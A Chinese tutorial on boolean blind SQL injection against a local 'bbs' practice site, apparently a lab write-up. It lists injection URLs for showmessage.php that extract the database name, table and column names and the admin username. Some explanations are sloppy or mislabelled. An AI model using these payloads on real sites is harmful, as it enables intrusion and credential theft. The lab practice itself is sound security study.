
布尔盲测的目的是精准扒出一个目标数据库全部信息,比如我们通过布尔盲注,首先“猜出来”数据库名,然后猜出来user表,再猜出来username/password,最后拿到管理员账号,然后我们就能直接用账号和密码直接登录进网站后台了。相当于是个“拿钥匙”的玩法。
我们用布尔盲注来做个SQL注入,还是拿靶机来试一试。今天这个靶机是一个bbs的靶机。
打开cmd,进入小皮,输入下面这些环境代码。
把靶场文件复制到小皮文件夹里的www里
打开地址:
http://localhost/bbs/showmessage.php?id=2
就可以进入论坛靶场
我们先假设id=2
意思是,在地址栏输入完整的:
http://localhost/你的靶场目录/showmessage.php?id=2
我的靶场目录是在bbs里,所以完整的版本地址是:
http://localhost/bbs/showmessage.php?id=2
就会出现已经进入到“留言内容”的正常页面了。
把地址改为:
localhost/bbs/showmessage.php?id=2 and 1=1
“真条件”界面无变化,我们再看“假条件”界面。
把地址改为:
localhost/bbs/showmessage.php?id=2" and "1"="2
(刚试了没加引号,假条件测试无效,所以此处改为了双引号)
输入完,我们可以看出,触发了SQL语法错误,证明这个id参数是可以注入的。并且是报错注入。
先猜猜数据库名长度是不是超过5了
在地址栏输入:
localhost/bbs/showmessage.php?id=2" and length(database())>5 and "1"="1
这个显示意思是,SQL语法错误,意思是,这个条件是假的,说明数据库名长度不大于5
因为如果length(database())>5为真的时候,页面显示是“留言内容”。
那么我们再试试是不是等于4
说明数据库名长度为4
接下来就是用ASCII码来“猜”名字。我们首先打开密码本。网上随便搜,都能搜到,就是下面这个密码本
我们先猜第一个字符的ASCII码范围
输入地址,猜是不是小于123
localhost/bbs/showmessage.php ?id=1and ascii(substr(database(),1,1))<123
没有报错,正常显示,说明这个条件是真的,那意思是,第一个字符ASCII码小于123,符合a-z的范围。
然后我们再猜是不是大于64
输入:
localhost/bbs/showmessage.php?id=1and ascii(substr(database(),1,1))>64
结果是错的,所以不大于64,我们再试试47
发现就对了
那再试试大于100
是来市区,发现是106,那么我们搜ASCII表,是j
那说明,第一个字符是 j
以此类推,我们再试试第二个字符。第二个的是(2,1),第三个是(3,1),第四个是(4,1)
为了减少时间,我们直接打测试出来的答案:
第二个字符是114
第三个字符是108
第四个字符是116
查表我们可以得出答案是:
jrlt
在地址栏输入:
http://localhost/bbs/showmessage.php?id=1and database()='jrlt'
页面显示正常,说明数据库名没问题
先要知道,数据库里有多少个表?
首先试试,是不是小于5个表
输入:
http://localhost/bbs/showmessage.php?id=1 and (select count(table_name)from information_schema.tables where table_schema = database())<5
意思是,数据库数量少于5个
那我们在试试数据库数量是不是小于2
http://localhost/bbs/showmessage.php ?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())<2
不是小于2
输入=2,数据库显示正常,说明数据库的数量是2
然后我们继续往下猜第一张表长度、名字
用上面的方式,我们实验出第一个数据表长度为8,第二个数据表长度是5
再依此获取表名:
依次获得第一个表为 messages,同理获得第二表为 users
再获取user表的列数为5
?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5
再获取第一个字段的长度
分别是2、4、8
再获取第一个字段的名称:
获得第一个字段的名称是 id,同理可以获得其他字段 name,password,photo,money
?id=1 and (select LENGTH(name) from users LIMIT 0,1)=5
最终数据为admin
说明用户名是admin,密码同理
